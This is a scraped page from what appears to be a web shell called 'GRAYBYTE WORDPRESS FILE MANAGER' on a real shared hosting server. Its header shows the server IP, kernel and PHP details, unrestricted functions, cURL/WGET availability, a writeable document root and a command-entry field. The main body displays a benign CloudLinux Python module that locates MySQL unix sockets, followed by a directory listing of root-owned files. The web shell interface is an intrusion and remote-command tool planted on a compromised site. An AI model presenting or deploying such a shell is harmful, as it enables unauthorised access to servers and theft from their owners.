GRAYBYTE WORDPRESS FILE MANAGER9895

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/imunify360/venv/lib/python3.11/site-packages/clcommon/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/imunify360/venv/lib/python3.11/site-packages/clcommon//mysql_lib.py
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2023 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
#

import os
from typing import Iterable, List
from collections import deque

import pymysql
from pymysql.cursors import DictCursor

from clcommon.clconfpars import load_fast

PLESK_CONFIG_PATH = '/etc/psa/psa.conf'
MY_CONFIG_PATH = '/etc/my.cnf'
MY_CONFIG_PATH2 = '/etc/mysql/my.cnf'


class MySQLError(Exception):
    """
    Exception related to operation with MySQL.
    """


class MySQLConnector:

    def __init__(self, as_dict: bool = False, **kwargs):
        self.add_unix_socket_if_localhost(kwargs.get('host', 'localhost'), kwargs)

        self._connection = None
        self._cursor_type = DictCursor if as_dict else None
        self._connect_kwargs = kwargs

    def __del__(self):
        self.close()

    def __enter__(self):
        return self.connect()

    def __exit__(self, exc_type, exc_value, traceback):
        self.close()

    def connect(self) -> 'MySQLConnector':
        if self._connection is not None:
            return self
        try:
            self._connection = pymysql.connect(**self._connect_kwargs)
            return self
        except pymysql.Error as e:
            raise MySQLError(str(e)) from e

    def close(self) -> None:
        if self._connection is not None:
            self._connection.close()
            self._connection = None

    def commit(self) -> None:
        if self._connection is not None:
            self._connection.commit()

    def cursor(self):
        return self.connection.cursor(self._cursor_type)

    @property
    def connection(self):
        if self._connection is None:
            self.connect()
        return self._connection

    def execute_query(
        self,
        sql_query: str,
        args: Iterable[object] | None = None
    ) -> tuple[object, ...] | dict[str, object]:
        """
        Execute SQL query and return the result.
        """
        with self.connection.cursor(self._cursor_type) as cursor:
            cursor.execute(sql_query, args=args)
            return cursor.fetchall()

    @staticmethod
    def add_unix_socket_if_localhost(host: str, kwargs: dict) -> None:
        """
        Add 'unix_socket' to kwargs if host is 'localhost'.

        It seems that when the host is set to 'localhost',
        establishing a connection through TCP/IP might encounter issues
        due to some MySQL configuration options.
        To prioritize a Unix socket connection,
        we should include the 'unix_socket' query parameter.
        """
        if host == 'localhost' and 'unix_socket' not in kwargs:
            kwargs['unix_socket'] = get_unix_socket_path()


def get_rfc1738_db_uri(url):
    """
    Get a modified RFC 1738 URL for a MySQL database connection.
    """
    MySQLConnector.add_unix_socket_if_localhost(url.host, url.query)
    return url


def get_unix_socket_path(
    *,
    plesk_config_path: str = PLESK_CONFIG_PATH,
    mysql_configs: Iterable[str] = (MY_CONFIG_PATH, MY_CONFIG_PATH2)
) -> str:
    """
    Get the Unix socket path for MySQL connection.

    Check Plesk and MySQL config files for the socket path.
    If found, return that path. If not, return default socket path.
    """
    if os.path.isfile(plesk_config_path):
        psa_conf = load_fast(plesk_config_path, delimiter=' ')
        psa_conf_socket = psa_conf.get('MYSQL_SOCKET')
        if psa_conf_socket is not None:
            return psa_conf_socket

    mysql_configs_queue = deque(mysql_configs)
    while len(mysql_configs_queue) > 0:
        my_conf_path = mysql_configs_queue.popleft()
        if not os.path.isfile(my_conf_path):
            continue

        my_conf = load_fast(my_conf_path, strip_quotes=True)
        # Use the first found socket path
        my_conf_socket = my_conf.get('socket')
        if my_conf_socket is not None:
            return my_conf_socket

        # Add included config files to the queue to check them for the socket path too
        mysql_configs_queue.extend(get_cnf_paths(my_conf_path))

    return '/var/lib/mysql/mysql.sock'


def get_cnf_paths(path: str) -> list[str]:
    """
    Get all included config files paths in the given config file
    marked with !include and !includedir.

    Returns an empty list if there are no paths.
    """
    include_dirs: List[str] = []
    list_of_paths: List[str] = []

    try:
        with open(path, "r", encoding="utf-8", errors="surrogateescape") as config_file:
            for line in config_file:
                line = line.strip()
                try:
                    if line.startswith('!includedir'):
                        included_dir_path = line.removeprefix('!includedir').strip()
                        if os.path.isdir(included_dir_path):
                            include_dirs.append(included_dir_path)
                    elif line.startswith('!include '):
                        included_file_path = line.removeprefix('!include').strip()
                        if os.path.isfile(included_file_path):
                            list_of_paths.append(included_file_path)
                except IndexError:
                    # skip broken lines
                    pass
            for dir_path in include_dirs:
                list_of_paths += get_cnf_files_in_dir(dir_path)
    except (OSError, IOError) as e:
        raise MySQLError(f"Error reading config file {path}: {e}") from e
    return list_of_paths


def get_cnf_files_in_dir(path: str) -> list[str]:
    """
    Get paths list in given dir
    Returns an empty list if there is no paths
    """
    list_of_paths = []
    if os.path.isdir(path):
        for item in os.listdir(path):
            if os.path.isfile(os.path.join(path, item)) and os.path.splitext(item)[1] == ".cnf":
                list_of_paths.append(os.path.join(path, item))
    return list_of_paths

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 11 2025 07:53:06
root / root
0755
__pycache__
--
July 02 2025 08:36:55
root / root
0755
cpapi
--
July 02 2025 08:36:55
root / root
0755
lib
--
July 02 2025 08:36:55
root / root
0755
public_hooks
--
July 02 2025 08:36:55
root / root
0755
__init__.py
1.373 KB
June 09 2025 11:12:39
root / root
0644
clcagefs.py
10.012 KB
June 09 2025 11:12:39
root / root
0644
clcaptain.py
1.956 KB
June 09 2025 11:12:39
root / root
0644
clconfig.py
1.684 KB
June 09 2025 11:12:39
root / root
0644
clconfpars.py
10.133 KB
June 09 2025 11:12:39
root / root
0644
clcustomscript.py
1.156 KB
June 09 2025 11:12:39
root / root
0644
cldebug.py
0.884 KB
June 09 2025 11:12:39
root / root
0644
clemail.py
1.653 KB
June 09 2025 11:12:39
root / root
0644
clexception.py
1.138 KB
June 09 2025 11:12:39
root / root
0644
clfunc.py
6.468 KB
June 09 2025 11:12:39
root / root
0644
clhook.py
3.863 KB
June 09 2025 11:12:39
root / root
0644
cllog.py
1.453 KB
June 09 2025 11:12:39
root / root
0644
cloutput.py
0.46 KB
June 09 2025 11:12:39
root / root
0644
clproc.py
4.049 KB
June 09 2025 11:12:39
root / root
0644
clpwd.py
7.743 KB
June 09 2025 11:12:39
root / root
0644
clquota.py
1.266 KB
June 09 2025 11:12:39
root / root
0644
clsec.py
0.642 KB
June 09 2025 11:12:39
root / root
0644
clwpos_lib.py
15.396 KB
June 09 2025 11:12:39
root / root
0644
const.py
0.271 KB
June 09 2025 11:12:39
root / root
0644
evr_utils.py
3.576 KB
June 09 2025 11:12:39
root / root
0644
features.py
5.044 KB
June 09 2025 11:12:39
root / root
0644
group_info_reader.py
5.286 KB
June 09 2025 11:12:39
root / root
0644
lock.py
1.017 KB
June 09 2025 11:12:39
root / root
0644
mail_helper.py
4.45 KB
June 09 2025 11:12:39
root / root
0644
mysql_lib.py
5.844 KB
June 09 2025 11:12:39
root / root
0644
php_conf_reader.py
9.766 KB
June 09 2025 11:12:39
root / root
0644
sysctl.py
7.609 KB
June 09 2025 11:12:39
root / root
0644
ui_config.py
3.123 KB
June 09 2025 11:12:39
root / root
0644
utils.py
30.282 KB
June 09 2025 11:12:39
root / root
0644
utils_cmd.py
2.706 KB
June 09 2025 11:12:39
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF